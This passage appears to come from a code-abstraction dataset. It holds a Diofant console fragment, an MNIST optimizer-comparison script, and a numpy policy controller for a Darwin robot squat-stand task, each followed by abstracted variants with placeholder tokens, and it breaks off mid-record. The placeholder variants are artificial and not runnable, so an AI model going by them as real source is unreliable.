shell.run_cell(\n 'from diofant.interactive.session import AutomaticSymbols')\n shell.run_cell('ip = get_ipython()')\n shell.run_cell(\n 'ip.ast_transformers.append(AutomaticSymbols(ip.user_ns))')\n shell.run_cell('del ip')\n if args.unicode_identifiers:\n shell.run_cell(\n 'from diofant.interactive.session import unicode_identifiers')\n shell.run_cell('ip = get_ipython()')\n shell.run_cell(\n 'ip.input_transformers_cleanup.append(unicode_identifiers)')\n shell.run_cell('del ip')\n app.start()\n else:\n ast_transformers = []\n source_transformers = []\n ns = {}\n if not args.no_wrap_division:\n ast_transformers.append(IntegerDivisionWrapper())\n if args.auto_symbols:\n ast_transformers.append(AutomaticSymbols(ns))\n if args.unicode_identifiers:\n source_transformers.append(unicode_identifiers)\n\n\n class DiofantConsole(code.InteractiveConsole):\n \"\"\"An interactive console with readline support.\"\"\"\n\n def __init__(self, ast_transformers=[], source_transformers=[],\n **kwargs):\n super().__init__(**kwargs)\n readline.set_completer(rlcompleter.Completer(ns).complete)\n readline.parse_and_bind('tab: complete')\n history = os.path.expanduser('~/.python_history')\n readline.read_history_file(history)\n atexit.register(readline.write_history_file, history)\n self.ast_transformers = ast_transformers\n self.source_transformers = source_transformers\n\n def runsource(self, source, filename='<input>', symbol='single'):\n for t in self.source_transformers:\n source = '\\n'.join(t(source.splitlines()))\n try:\n tree = ast.parse(source)\n except SyntaxError:\n return True\n for t in self.ast_transformers:\n tree = t.visit(tree)\n ast.fix_missing_locations(tree)\n source = ast.unparse(tree)\n source = source.split('\\n')\n source = ';'.join(source)\n return super().runsource(source, filename=filename, symbol=\n symbol)\n c = DiofantConsole(ast_transformers=ast_transformers,\n source_transformers=source_transformers, locals=ns)\n for l in lines:\n c.push(l)\n c.interact('', '')\n\n\n<code token>\n",
"<docstring token>\n<import token>\n<assignment token>\n<code token>\n<function token>\n<code token>\n"
] | false |
9,944 |
85d40a49341c7bd7af7a5dc62e4bce0253eb25e6
|
# coding: utf-8
import sys, os
sys.path.append(os.pardir)
import matplotlib.pyplot as plt
from dataset.mnist import load_mnist
from common.util import smooth_curve
from common.multi_layer_net import MultiLayerNet
from common.optimizer import *
# 0. MNIST 데이터 로딩
(x_train, t_train), (x_test, t_test) = load_mnist(normalize=True)
train_size = x_train.shape[0]
batch_size = 128
max_iterations = 2000
# 1. 실험용 설정 셋팅
optimizers = {}
optimizers['SGD'] = SGD()
optimizers['Momentum'] = Momentum()
optimizers['AdaGrad'] = AdaGrad()
optimizers['Adam'] = Adam()
#network, loss를 저장할 dictionary를 설정
networks = {}
train_loss = {}
#각 optimizer마다 network를 MultiLayerNet을 이용해서 똑같은 구조로 만들고, train_loss 딕셔너리를 초기화 한다.
for key in optimizers.keys():
networks[key] = MultiLayerNet(input_size=784,
hidden_size_list=[100, 100, 100, 100],
output_size=10)
train_loss[key] = []
# 2. 훈련 시작
for i in range(max_iterations):
#4개의 최적화 기법에 똑같이 들어갈 batch 생성
batch_mask = np.random.choice(train_size, batch_size)
x_batch = x_train[batch_mask]
t_batch = t_train[batch_mask]
for key in optimizers.keys():
grads = networks[key].gradient(x_batch, t_batch) #배치를 넣어서 각 네트워크의 기울기를 구함
optimizers[key].update(networks[key].params, grads) #네트워크의 parameter를 기울기에 대해 update함
loss = networks[key].loss(x_batch, t_batch) #사실 이것이 먼저 계산되어야 하지만, 이 코드에서는 기록용으로 저장
train_loss[key].append(loss) #각 최적화 기법의 학습 loss 리스트에 저장
#학습 진행 경과 및 각 최적화 기법에 해당하는 loss 확인
if i % 100 == 0:
print("===========" + "iteration:" + str(i) + "===========")
for key in optimizers.keys():
loss = networks[key].loss(x_batch, t_batch)
print(key + ':' + str(loss))
# 3. 그래프 그리기
markers = {"SGD": "o", "Momentum": "x", "AdaGrad": "s", "Adam": "D"}
x = np.arange(max_iterations)
for key in optimizers.keys():
plt.plot(x, smooth_curve(train_loss[key]), marker=markers[key], markevery=100, label=key)
plt.xlabel("iterations")
plt.ylabel("loss")
plt.ylim(0, 1)
plt.legend()
plt.show()
|
[
"# coding: utf-8\r\n\r\n\r\nimport sys, os\r\nsys.path.append(os.pardir)\r\nimport matplotlib.pyplot as plt\r\nfrom dataset.mnist import load_mnist\r\nfrom common.util import smooth_curve\r\nfrom common.multi_layer_net import MultiLayerNet\r\nfrom common.optimizer import *\r\n\r\n# 0. MNIST 데이터 로딩\r\n(x_train, t_train), (x_test, t_test) = load_mnist(normalize=True)\r\n\r\ntrain_size = x_train.shape[0]\r\nbatch_size = 128\r\nmax_iterations = 2000\r\n\r\n# 1. 실험용 설정 셋팅\r\noptimizers = {}\r\noptimizers['SGD'] = SGD()\r\noptimizers['Momentum'] = Momentum()\r\noptimizers['AdaGrad'] = AdaGrad()\r\noptimizers['Adam'] = Adam()\r\n\r\n#network, loss를 저장할 dictionary를 설정\r\nnetworks = {}\r\ntrain_loss = {}\r\n\r\n#각 optimizer마다 network를 MultiLayerNet을 이용해서 똑같은 구조로 만들고, train_loss 딕셔너리를 초기화 한다.\r\nfor key in optimizers.keys():\r\n networks[key] = MultiLayerNet(input_size=784,\r\n hidden_size_list=[100, 100, 100, 100],\r\n output_size=10)\r\n train_loss[key] = []\r\n\r\n# 2. 훈련 시작\r\nfor i in range(max_iterations):\r\n #4개의 최적화 기법에 똑같이 들어갈 batch 생성\r\n batch_mask = np.random.choice(train_size, batch_size)\r\n x_batch = x_train[batch_mask]\r\n t_batch = t_train[batch_mask]\r\n\r\n for key in optimizers.keys():\r\n grads = networks[key].gradient(x_batch, t_batch) #배치를 넣어서 각 네트워크의 기울기를 구함\r\n optimizers[key].update(networks[key].params, grads) #네트워크의 parameter를 기울기에 대해 update함\r\n loss = networks[key].loss(x_batch, t_batch) #사실 이것이 먼저 계산되어야 하지만, 이 코드에서는 기록용으로 저장\r\n train_loss[key].append(loss) #각 최적화 기법의 학습 loss 리스트에 저장\r\n\r\n #학습 진행 경과 및 각 최적화 기법에 해당하는 loss 확인\r\n if i % 100 == 0:\r\n print(\"===========\" + \"iteration:\" + str(i) + \"===========\")\r\n for key in optimizers.keys():\r\n loss = networks[key].loss(x_batch, t_batch)\r\n print(key + ':' + str(loss))\r\n\r\n\r\n# 3. 그래프 그리기\r\nmarkers = {\"SGD\": \"o\", \"Momentum\": \"x\", \"AdaGrad\": \"s\", \"Adam\": \"D\"}\r\nx = np.arange(max_iterations)\r\nfor key in optimizers.keys():\r\n plt.plot(x, smooth_curve(train_loss[key]), marker=markers[key], markevery=100, label=key)\r\nplt.xlabel(\"iterations\")\r\nplt.ylabel(\"loss\")\r\nplt.ylim(0, 1)\r\nplt.legend()\r\nplt.show()\r\n\r\n",
"import sys, os\nsys.path.append(os.pardir)\nimport matplotlib.pyplot as plt\nfrom dataset.mnist import load_mnist\nfrom common.util import smooth_curve\nfrom common.multi_layer_net import MultiLayerNet\nfrom common.optimizer import *\n(x_train, t_train), (x_test, t_test) = load_mnist(normalize=True)\ntrain_size = x_train.shape[0]\nbatch_size = 128\nmax_iterations = 2000\noptimizers = {}\noptimizers['SGD'] = SGD()\noptimizers['Momentum'] = Momentum()\noptimizers['AdaGrad'] = AdaGrad()\noptimizers['Adam'] = Adam()\nnetworks = {}\ntrain_loss = {}\nfor key in optimizers.keys():\n networks[key] = MultiLayerNet(input_size=784, hidden_size_list=[100, \n 100, 100, 100], output_size=10)\n train_loss[key] = []\nfor i in range(max_iterations):\n batch_mask = np.random.choice(train_size, batch_size)\n x_batch = x_train[batch_mask]\n t_batch = t_train[batch_mask]\n for key in optimizers.keys():\n grads = networks[key].gradient(x_batch, t_batch)\n optimizers[key].update(networks[key].params, grads)\n loss = networks[key].loss(x_batch, t_batch)\n train_loss[key].append(loss)\n if i % 100 == 0:\n print('===========' + 'iteration:' + str(i) + '===========')\n for key in optimizers.keys():\n loss = networks[key].loss(x_batch, t_batch)\n print(key + ':' + str(loss))\nmarkers = {'SGD': 'o', 'Momentum': 'x', 'AdaGrad': 's', 'Adam': 'D'}\nx = np.arange(max_iterations)\nfor key in optimizers.keys():\n plt.plot(x, smooth_curve(train_loss[key]), marker=markers[key],\n markevery=100, label=key)\nplt.xlabel('iterations')\nplt.ylabel('loss')\nplt.ylim(0, 1)\nplt.legend()\nplt.show()\n",
"<import token>\nsys.path.append(os.pardir)\n<import token>\n(x_train, t_train), (x_test, t_test) = load_mnist(normalize=True)\ntrain_size = x_train.shape[0]\nbatch_size = 128\nmax_iterations = 2000\noptimizers = {}\noptimizers['SGD'] = SGD()\noptimizers['Momentum'] = Momentum()\noptimizers['AdaGrad'] = AdaGrad()\noptimizers['Adam'] = Adam()\nnetworks = {}\ntrain_loss = {}\nfor key in optimizers.keys():\n networks[key] = MultiLayerNet(input_size=784, hidden_size_list=[100, \n 100, 100, 100], output_size=10)\n train_loss[key] = []\nfor i in range(max_iterations):\n batch_mask = np.random.choice(train_size, batch_size)\n x_batch = x_train[batch_mask]\n t_batch = t_train[batch_mask]\n for key in optimizers.keys():\n grads = networks[key].gradient(x_batch, t_batch)\n optimizers[key].update(networks[key].params, grads)\n loss = networks[key].loss(x_batch, t_batch)\n train_loss[key].append(loss)\n if i % 100 == 0:\n print('===========' + 'iteration:' + str(i) + '===========')\n for key in optimizers.keys():\n loss = networks[key].loss(x_batch, t_batch)\n print(key + ':' + str(loss))\nmarkers = {'SGD': 'o', 'Momentum': 'x', 'AdaGrad': 's', 'Adam': 'D'}\nx = np.arange(max_iterations)\nfor key in optimizers.keys():\n plt.plot(x, smooth_curve(train_loss[key]), marker=markers[key],\n markevery=100, label=key)\nplt.xlabel('iterations')\nplt.ylabel('loss')\nplt.ylim(0, 1)\nplt.legend()\nplt.show()\n",
"<import token>\nsys.path.append(os.pardir)\n<import token>\n<assignment token>\nfor key in optimizers.keys():\n networks[key] = MultiLayerNet(input_size=784, hidden_size_list=[100, \n 100, 100, 100], output_size=10)\n train_loss[key] = []\nfor i in range(max_iterations):\n batch_mask = np.random.choice(train_size, batch_size)\n x_batch = x_train[batch_mask]\n t_batch = t_train[batch_mask]\n for key in optimizers.keys():\n grads = networks[key].gradient(x_batch, t_batch)\n optimizers[key].update(networks[key].params, grads)\n loss = networks[key].loss(x_batch, t_batch)\n train_loss[key].append(loss)\n if i % 100 == 0:\n print('===========' + 'iteration:' + str(i) + '===========')\n for key in optimizers.keys():\n loss = networks[key].loss(x_batch, t_batch)\n print(key + ':' + str(loss))\n<assignment token>\nfor key in optimizers.keys():\n plt.plot(x, smooth_curve(train_loss[key]), marker=markers[key],\n markevery=100, label=key)\nplt.xlabel('iterations')\nplt.ylabel('loss')\nplt.ylim(0, 1)\nplt.legend()\nplt.show()\n",
"<import token>\n<code token>\n<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n"
] | false |
9,945 |
97c5b75323bb143c87972b389e2f27e443c1e00c
|
################################################################################
# Controller of the Darwin Squat-Stand task using numpy #
# Note: all joint data used in this file uses the dof indexing with #
# from the simulation environment, not the hardware. #
################################################################################
import joblib
import numpy as np
from darwin.darwin_utils import *
# Class for a neural network model in numpy
class NP_Net:
def __init__(self, nvec = None):
self.obrms_mean = None # for observation running mean std
self.obrms_std = None # for observation running mean std
self.nn_params = [] # stores the neural net parameters in the form of [[W0, b0], [W1, b1], ... [Wn, bn]]
self.nvec = nvec # None if continuous action, otherwise discrete action in the form of
# [numbins, numbins, ... numbins]
def load_from_file(self, fname):
params = joblib.load(fname)
pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]
obrms_runningsumsq = params[pol_scope+'/obfilter/runningsumsq:0']
obrms_count = params[pol_scope+'/obfilter/count:0']
obrms_runningsum = params[pol_scope+'/obfilter/runningsum:0']
self.obrms_mean = obrms_runningsum / obrms_count
self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count - (self.obrms_mean**2), 1e-2, 1000000))
for i in range(10): # assume maximum layer size of 10
if pol_scope+'/pol/fc'+str(i)+'/kernel:0' in params:
W = params[pol_scope+'/pol/fc'+str(i)+'/kernel:0']
b = params[pol_scope+'/pol/fc'+str(i)+'/bias:0']
self.nn_params.append([W, b])
W_final = params[pol_scope + '/pol/final/kernel:0']
b_final = params[pol_scope + '/pol/final/bias:0']
self.nn_params.append([W_final, b_final])
def get_output(self, input, activation = np.tanh):
assert self.obrms_mean is not None
last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0, 5.0)
for i in range(len(self.nn_params)-1):
last_out = activation(np.dot(self.nn_params[i][0].T, last_out) + self.nn_params[i][1])
out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]
if self.nvec is None:
return out
else:
# convert for discrete output
splitted_out = np.split(out, np.cumsum(self.nvec)[0:-1])
discrete_out = np.array([np.argmax(prob) for prob in splitted_out])
return discrete_out
# Class for a neural network model with mirror symmetry in numpy
class NP_Net_MirrorSym:
def __init__(self, nvec = None, observation_permutation=None,action_permutation=None):
self.obrms_mean = None # for observation running mean std
self.obrms_std = None # for observation running mean std
self.nn_params = [] # stores the neural net parameters in the form of [[W0, b0], [W1, b1], ... [Wn, bn]]
self.nvec = nvec # None if continuous action, otherwise discrete action in the form of
# [numbins, numbins, ... numbins]
obs_perm_mat = np.zeros((len(observation_permutation), len(observation_permutation)), dtype=np.float32)
self.obs_perm_mat = obs_perm_mat
for i, perm in enumerate(observation_permutation):
obs_perm_mat[i][int(np.abs(perm))] = np.sign(perm)
if nvec is None:
act_perm_mat = np.zeros((len(action_permutation), len(action_permutation)), dtype=np.float32)
self.act_perm_mat = act_perm_mat
for i, perm in enumerate(action_permutation):
self.act_perm_mat[i][int(np.abs(perm))] = np.sign(perm)
else:
total_dim = int(np.sum(nvec))
dim_index = np.concatenate([[0], np.cumsum(nvec)])
act_perm_mat = np.zeros((total_dim, total_dim), dtype=np.float32)
self.act_perm_mat = act_perm_mat
for i, perm in enumerate(action_permutation):
perm_mat = np.identity(nvec[i])
if np.sign(perm) < 0:
perm_mat = np.flipud(perm_mat)
self.act_perm_mat[dim_index[i]:dim_index[i] + nvec[i],
dim_index[int(np.abs(perm))]:dim_index[int(np.abs(perm))] + nvec[int(np.abs(perm))]] = perm_mat
def load_from_file(self, fname):
params = joblib.load(fname)
pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]
obrms_runningsumsq = params[pol_scope+'/obfilter/runningsumsq:0']
obrms_count = params[pol_scope+'/obfilter/count:0']
obrms_runningsum = params[pol_scope+'/obfilter/runningsum:0']
self.obrms_mean = obrms_runningsum / obrms_count
self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count - (self.obrms_mean**2), 1e-2, 1000000))
for i in range(10): # assume maximum layer size of 10
if pol_scope+'/pol_net/genff'+str(i)+'/w:0' in params:
W = params[pol_scope+'/pol_net/genff'+str(i)+'/w:0']
b = params[pol_scope+'/pol_net/genff'+str(i)+'/b:0']
self.nn_params.append([W, b])
W_final = params[pol_scope + '/pol_net/genff_out/w:0']
b_final = params[pol_scope + '/pol_net/genff_out/b:0']
self.nn_params.append([W_final, b_final])
def get_output(self, input, activation = np.tanh):
assert self.obrms_mean is not None
last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0, 5.0)
for i in range(len(self.nn_params)-1):
last_out = activation(np.dot(self.nn_params[i][0].T, last_out) + self.nn_params[i][1])
out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]
mirrorlast_out = np.clip((np.dot(input, self.obs_perm_mat) - self.obrms_mean) / self.obrms_std, -5.0, 5.0)
for i in range(len(self.nn_params) - 1):
mirrorlast_out = activation(np.dot(self.nn_params[i][0].T, mirrorlast_out) + self.nn_params[i][1])
mirrorout = np.dot(np.dot(self.nn_params[-1][0].T, mirrorlast_out) + self.nn_params[-1][1], self.act_perm_mat)
if self.nvec is None:
return out + mirrorout
else:
# convert for discrete output
splitted_out = np.split(out + mirrorout, np.cumsum(self.nvec)[0:-1])
discrete_out = np.array([np.argmax(prob) for prob in splitted_out])
return discrete_out
# Class for a neural network policy in numpy
# Includes the action filtering and pose interpolation
class NP_Policy:
# interp_sch makes the feed-forward motion
# interp_sch contains the timing and pose id throughout the trajectory
def __init__(self, interp_sch, param_file, discrete_action, action_bins, delta_angle_scale, action_filter_size,
obs_perm = None, act_perm = None):
self.interp_sch = interp_sch
self.obs_cache = []
self.action_cache = []
self.action_filter_size = action_filter_size
if interp_sch is not None:
self.net = NP_Net()
else:
self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm)
self.net.load_from_file(param_file)
self.discrete_action = discrete_action
self.delta_angle_scale = delta_angle_scale
if discrete_action:
self.net.nvec = action_bins
# Get the initial state for the robot
# RETURN: a 20d vector for the robot pose
def get_initial_state(self):
if self.interp_sch is not None:
return self.interp_sch[0][1]
else:
return 0.5*(pose_squat + pose_stand)
# Reset the state of the policy
# This is needed because the action cache essentially forms a memory in the policy
def reset(self):
self.action_cache = []
# Return the action to be taken by the robot given the observation and current time
# INPUT: o, a 40d vector containing the pose and velocity of the robot
# t, current time in seconds, used to get the reference pose
# RETURN: a 20d vector containing the target angle (in radians) for the robot joints
def act(self, o, t):
# get network output action
new_action = self.net.get_output(o)
if self.discrete_action:
new_action = new_action * 1.0 / np.floor(self.net.nvec/2.0) - 1.0
self.action_cache.append(new_action)
if len(self.action_cache) > self.action_filter_size:
self.action_cache.pop(0)
filtered_action = np.mean(self.action_cache, axis=0)
# get feedforward action
clamped_control = np.clip(filtered_action, -1, 1)
if self.interp_sch is not None:
self.ref_target = self.interp_sch[0][1]
for i in range(len(self.interp_sch) - 1):
if t >= self.interp_sch[i][0] and t < self.interp_sch[i + 1][0]:
ratio = (t - self.interp_sch[i][0]) / (self.interp_sch[i + 1][0] - self.interp_sch[i][0])
self.ref_target = ratio * self.interp_sch[i + 1][1] + (1 - ratio) * self.interp_sch[i][1]
if t > self.interp_sch[-1][0]:
self.ref_target = self.interp_sch[-1][1]
# combine policy output and keyframe interpolation to get the target joint positions
target_pose = self.ref_target + clamped_control * self.delta_angle_scale
else:
target_pose = (clamped_control + 1.0) / 2.0 * (SIM_CONTROL_UP_BOUND_RAD - SIM_CONTROL_LOW_BOUND_RAD) + SIM_CONTROL_LOW_BOUND_RAD
target_pose = np.clip(target_pose, SIM_JOINT_LOW_BOUND_RAD, SIM_JOINT_UP_BOUND_RAD)
return target_pose
def toRobot(positions):
# reorder joints
index = [3,0,4,1,5,2,14,8,15,9,16,10,17,11,18,12,19,13,6,7]
# convert from radians to int
robotState = np.zeros(len(positions))
for i in range(len(positions)):
robotState[i] = int(positions[i]*180*(1/(np.pi*0.088))) + 2048
return robotState[index].astype(int)
#######################################
# test the file in pydart2 simulation #
#######################################
if __name__ == "__main__":
import pydart2 as pydart
import gym
env = gym.make('DartDarwinSquat-v1') # use the dart_world in the gym environment to avoid copying the data
env.reset()
dart_world = env.env.dart_world
class Controller(object):
def __init__(self, world, policy):
self.world = world
self.target = None
self.kp = np.array([2.1, 1.79, 4.93,
2.0, 2.02, 1.98,
2.2, 2.06,
148, 152, 150, 136, 153, 102,
151, 151.4, 150.45, 151.36, 154, 105.2])
self.kd = np.array([0.21, 0.23, 0.22,
0.25, 0.21, 0.26,
0.28, 0.213
, 0.192, 0.198, 0.22, 0.199, 0.02, 0.01,
0.53, 0.27, 0.21, 0.205, 0.022, 0.056])
self.step = 0
self.frameskip = 25
self.fulltau = np.zeros(26)
self.np_policy = policy
self.target_sim_cache = []
self.target_hw_cache = []
def compute(self):
if self.step % self.frameskip == 0:
o = np.concatenate([self.world.skeletons[-1].q[6:], self.world.skeletons[-1].dq[6:]])
self.target = self.np_policy.act(o, self.world.time())
self.target_hw_cache.append(toRobot(self.target))
self.target_sim_cache.append(RADIAN2VAL(self.target))
np.savetxt('darwin/feedforward_target_simindex.txt', np.array(self.target_sim_cache, dtype=np.int))
np.savetxt('darwin/feedforward_target_hwindex.txt', np.array(self.target_hw_cache, dtype=np.int))
tau = -self.kp * (self.world.skeletons[-1].q[6:] - self.target) - self.kd * self.world.skeletons[-1].dq[6:]
self.fulltau = np.concatenate([np.zeros(6), tau])
self.step += 1
return np.clip(self.fulltau, -3.5, 3.5) # torque limit of 3.5 Nm
# Set joint damping
for i in range(6, dart_world.skeletons[-1].ndofs):
j = dart_world.skeletons[-1].dof(i)
j.set_damping_coefficient(0.515)
dart_world.set_gravity([0, 0, -9.81])
dart_world.skeletons[1].set_mobile(False)
dart_world.skeletons[1].q = dart_world.skeletons[1].q + 100
dart_world.set_collision_detector(0)
dart_world.skeletons[-1].set_self_collision_check(False)
dart_world.skeletons[0].bodynodes[0].set_friction_coeff(5.0)
for bn in dart_world.skeletons[-1].bodynodes:
bn.set_friction_coeff(5.0)
############################################################################
#### Setup the policy from file ####
#### refer to this part for construction of policy to be run on hardware ###
############################################################################
pose_squat_val = np.array([2509, 2297, 1714, 1508, 1816, 2376,
2047, 2171,
2032, 2039, 2795, 648, 1231, 2040, 2041, 2060, 1281, 3448, 2855, 2073])
pose_stand_val = np.array([1500, 2048, 2048, 2500, 2048, 2048,
2048, 2048,
2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048])
pose_squat = VAL2RADIAN(pose_squat_val)
pose_stand = VAL2RADIAN(pose_stand_val)
# keyframe scheduling for squat stand task
interp_sch = [[0.0, pose_squat],
[3.0, pose_stand],
[4.0, pose_stand],
]
policy = NP_Policy(interp_sch, 'data/darwin_standsquat_policy_conseq_obs_warmstart.pkl', discrete_action=True,
action_bins=np.array([11] * 20), delta_angle_scale=0.3)
############################################################################
# End of setup for policy
# policy should be used for executing on other environments
############################################################################
# Initialize the controller
controller = Controller(dart_world, policy)
dart_world.skeletons[-1].set_controller(controller)
print('create controller OK')
pydart.gui.viewer.launch(dart_world,
default_camera=1) # Use Z-up camera
|
[
"################################################################################\n# Controller of the Darwin Squat-Stand task using numpy #\n# Note: all joint data used in this file uses the dof indexing with #\n# from the simulation environment, not the hardware. #\n################################################################################\n\nimport joblib\nimport numpy as np\n\nfrom darwin.darwin_utils import *\n\n# Class for a neural network model in numpy\nclass NP_Net:\n def __init__(self, nvec = None):\n self.obrms_mean = None # for observation running mean std\n self.obrms_std = None # for observation running mean std\n self.nn_params = [] # stores the neural net parameters in the form of [[W0, b0], [W1, b1], ... [Wn, bn]]\n self.nvec = nvec # None if continuous action, otherwise discrete action in the form of\n # [numbins, numbins, ... numbins]\n\n def load_from_file(self, fname):\n params = joblib.load(fname)\n\n pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]\n obrms_runningsumsq = params[pol_scope+'/obfilter/runningsumsq:0']\n obrms_count = params[pol_scope+'/obfilter/count:0']\n obrms_runningsum = params[pol_scope+'/obfilter/runningsum:0']\n\n self.obrms_mean = obrms_runningsum / obrms_count\n self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count - (self.obrms_mean**2), 1e-2, 1000000))\n\n for i in range(10): # assume maximum layer size of 10\n if pol_scope+'/pol/fc'+str(i)+'/kernel:0' in params:\n W = params[pol_scope+'/pol/fc'+str(i)+'/kernel:0']\n b = params[pol_scope+'/pol/fc'+str(i)+'/bias:0']\n self.nn_params.append([W, b])\n W_final = params[pol_scope + '/pol/final/kernel:0']\n b_final = params[pol_scope + '/pol/final/bias:0']\n self.nn_params.append([W_final, b_final])\n\n def get_output(self, input, activation = np.tanh):\n assert self.obrms_mean is not None\n\n last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0, 5.0)\n\n for i in range(len(self.nn_params)-1):\n last_out = activation(np.dot(self.nn_params[i][0].T, last_out) + self.nn_params[i][1])\n out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]\n\n if self.nvec is None:\n return out\n else:\n # convert for discrete output\n splitted_out = np.split(out, np.cumsum(self.nvec)[0:-1])\n discrete_out = np.array([np.argmax(prob) for prob in splitted_out])\n return discrete_out\n\n# Class for a neural network model with mirror symmetry in numpy\nclass NP_Net_MirrorSym:\n def __init__(self, nvec = None, observation_permutation=None,action_permutation=None):\n self.obrms_mean = None # for observation running mean std\n self.obrms_std = None # for observation running mean std\n self.nn_params = [] # stores the neural net parameters in the form of [[W0, b0], [W1, b1], ... [Wn, bn]]\n self.nvec = nvec # None if continuous action, otherwise discrete action in the form of\n # [numbins, numbins, ... numbins]\n\n obs_perm_mat = np.zeros((len(observation_permutation), len(observation_permutation)), dtype=np.float32)\n self.obs_perm_mat = obs_perm_mat\n for i, perm in enumerate(observation_permutation):\n obs_perm_mat[i][int(np.abs(perm))] = np.sign(perm)\n\n if nvec is None:\n act_perm_mat = np.zeros((len(action_permutation), len(action_permutation)), dtype=np.float32)\n self.act_perm_mat = act_perm_mat\n for i, perm in enumerate(action_permutation):\n self.act_perm_mat[i][int(np.abs(perm))] = np.sign(perm)\n else:\n total_dim = int(np.sum(nvec))\n dim_index = np.concatenate([[0], np.cumsum(nvec)])\n act_perm_mat = np.zeros((total_dim, total_dim), dtype=np.float32)\n self.act_perm_mat = act_perm_mat\n for i, perm in enumerate(action_permutation):\n perm_mat = np.identity(nvec[i])\n if np.sign(perm) < 0:\n perm_mat = np.flipud(perm_mat)\n self.act_perm_mat[dim_index[i]:dim_index[i] + nvec[i],\n dim_index[int(np.abs(perm))]:dim_index[int(np.abs(perm))] + nvec[int(np.abs(perm))]] = perm_mat\n\n def load_from_file(self, fname):\n params = joblib.load(fname)\n\n pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]\n obrms_runningsumsq = params[pol_scope+'/obfilter/runningsumsq:0']\n obrms_count = params[pol_scope+'/obfilter/count:0']\n obrms_runningsum = params[pol_scope+'/obfilter/runningsum:0']\n\n self.obrms_mean = obrms_runningsum / obrms_count\n self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count - (self.obrms_mean**2), 1e-2, 1000000))\n\n for i in range(10): # assume maximum layer size of 10\n if pol_scope+'/pol_net/genff'+str(i)+'/w:0' in params:\n W = params[pol_scope+'/pol_net/genff'+str(i)+'/w:0']\n b = params[pol_scope+'/pol_net/genff'+str(i)+'/b:0']\n self.nn_params.append([W, b])\n W_final = params[pol_scope + '/pol_net/genff_out/w:0']\n b_final = params[pol_scope + '/pol_net/genff_out/b:0']\n self.nn_params.append([W_final, b_final])\n\n def get_output(self, input, activation = np.tanh):\n assert self.obrms_mean is not None\n\n last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0, 5.0)\n\n for i in range(len(self.nn_params)-1):\n last_out = activation(np.dot(self.nn_params[i][0].T, last_out) + self.nn_params[i][1])\n out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]\n\n mirrorlast_out = np.clip((np.dot(input, self.obs_perm_mat) - self.obrms_mean) / self.obrms_std, -5.0, 5.0)\n for i in range(len(self.nn_params) - 1):\n mirrorlast_out = activation(np.dot(self.nn_params[i][0].T, mirrorlast_out) + self.nn_params[i][1])\n mirrorout = np.dot(np.dot(self.nn_params[-1][0].T, mirrorlast_out) + self.nn_params[-1][1], self.act_perm_mat)\n\n if self.nvec is None:\n return out + mirrorout\n else:\n # convert for discrete output\n splitted_out = np.split(out + mirrorout, np.cumsum(self.nvec)[0:-1])\n discrete_out = np.array([np.argmax(prob) for prob in splitted_out])\n return discrete_out\n\n# Class for a neural network policy in numpy\n# Includes the action filtering and pose interpolation\nclass NP_Policy:\n # interp_sch makes the feed-forward motion\n # interp_sch contains the timing and pose id throughout the trajectory\n def __init__(self, interp_sch, param_file, discrete_action, action_bins, delta_angle_scale, action_filter_size,\n obs_perm = None, act_perm = None):\n self.interp_sch = interp_sch\n self.obs_cache = []\n self.action_cache = []\n self.action_filter_size = action_filter_size\n if interp_sch is not None:\n self.net = NP_Net()\n else:\n self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm)\n self.net.load_from_file(param_file)\n self.discrete_action = discrete_action\n self.delta_angle_scale = delta_angle_scale\n if discrete_action:\n self.net.nvec = action_bins\n\n # Get the initial state for the robot\n # RETURN: a 20d vector for the robot pose\n def get_initial_state(self):\n if self.interp_sch is not None:\n return self.interp_sch[0][1]\n else:\n return 0.5*(pose_squat + pose_stand)\n\n # Reset the state of the policy\n # This is needed because the action cache essentially forms a memory in the policy\n def reset(self):\n self.action_cache = []\n\n # Return the action to be taken by the robot given the observation and current time\n # INPUT: o, a 40d vector containing the pose and velocity of the robot\n # t, current time in seconds, used to get the reference pose\n # RETURN: a 20d vector containing the target angle (in radians) for the robot joints\n def act(self, o, t):\n # get network output action\n new_action = self.net.get_output(o)\n\n if self.discrete_action:\n new_action = new_action * 1.0 / np.floor(self.net.nvec/2.0) - 1.0\n\n self.action_cache.append(new_action)\n if len(self.action_cache) > self.action_filter_size:\n self.action_cache.pop(0)\n filtered_action = np.mean(self.action_cache, axis=0)\n\n # get feedforward action\n clamped_control = np.clip(filtered_action, -1, 1)\n\n if self.interp_sch is not None:\n self.ref_target = self.interp_sch[0][1]\n for i in range(len(self.interp_sch) - 1):\n if t >= self.interp_sch[i][0] and t < self.interp_sch[i + 1][0]:\n ratio = (t - self.interp_sch[i][0]) / (self.interp_sch[i + 1][0] - self.interp_sch[i][0])\n self.ref_target = ratio * self.interp_sch[i + 1][1] + (1 - ratio) * self.interp_sch[i][1]\n if t > self.interp_sch[-1][0]:\n self.ref_target = self.interp_sch[-1][1]\n\n # combine policy output and keyframe interpolation to get the target joint positions\n target_pose = self.ref_target + clamped_control * self.delta_angle_scale\n else:\n target_pose = (clamped_control + 1.0) / 2.0 * (SIM_CONTROL_UP_BOUND_RAD - SIM_CONTROL_LOW_BOUND_RAD) + SIM_CONTROL_LOW_BOUND_RAD\n target_pose = np.clip(target_pose, SIM_JOINT_LOW_BOUND_RAD, SIM_JOINT_UP_BOUND_RAD)\n\n return 